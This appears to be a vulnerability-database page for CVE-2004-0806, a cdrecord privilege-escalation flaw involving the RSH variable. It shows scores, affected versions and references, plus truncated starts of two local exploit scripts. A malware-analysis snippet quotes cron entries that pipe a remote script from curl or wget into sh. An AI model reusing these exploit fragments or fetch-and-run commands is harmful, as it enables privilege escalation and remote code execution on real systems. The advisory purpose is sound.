Published: 31/12/2004 Updated: 11/10/2017

CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9

VMScore: 730

Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

cdrecord in the cdrtools package prior to 2.01, when installed setuid root, does not properly drop privileges before executing a program specified in the RSH environment variable, which allows local users to gain privileges.

Vulnerable Product	Search on Vulmon	Subscribe to Product
cdrtools cdrecord 1.11
cdrtools cdrecord 2.0

#!/bin/bash echo "readcd-expsh -- ReadCD local exploit ( Test on cdrecord-201-0a272mdk)" echo "Author : newbug [at] chrootorg" echo "Date :09132004" echo "IRC : ircchrootorg #discuss" export READCD=/usr/bin/readcd cd /tmp cat > sc <<_EOF_ #include <unistdh> #include <sys/typesh> #include <stdioh> int main ...

#!/bin/bash # # cdrecord-suidshellsh - I)ruid [CAU] (092004) # # Exploits cdrecord's exec() of $RSH before dropping privs # cat > /cpbinbashc << __EOF__ #include <stdioh> #include <sys/typesh> #include <sys/stath> #include <fcntlh> main( int argc, char *argv[] ) { int fd1, fd2; int count; char buffer[1]; ...

notes of scripts

VirusShare_775b04d9458a409e82ef05fb1b3dcc95sh Summary This script stops any firewalls, configures DNS server as 8888 Then, it sets /var/spool/cron/root to execute specific command The commands are: "*/5 * * * * curl -fsSL 18524425191/ish | sh" */5 * * * * wget -q -O- 18524425191/ish | sh Then, it cre

NVD-CWE-Other http://seclists.org/lists/bugtraq/2004/Sep/0097.html http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2004-09/0108.html http://www.securityfocus.org/bid/11075 http://secunia.com/advisories/12481/http://www.kb.cert.org/vuls/id/700326 http://securitytracker.com/id?1011091 ftp://patches.sgi.com/support/free/security/advisories/20060401-01-U http://secunia.com/advisories/19532 http://www.mandriva.com/security/advisories?name=MDKSA-2004:091 https://bugzilla.fedora.us/show_bug.cgi?id=2058 https://exchange.xforce.ibmcloud.com/vulnerabilities/17303 https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9805 https://nvd.nist.gov https://github.com/hongdal/notes https://www.exploit-db.com/exploits/469/https://www.kb.cert.org/vuls/id/700326

CVE-2004-0806

Vulnerability Summary

Exploits

Github Repositories

References

Vulmon Search

About

Products

Connect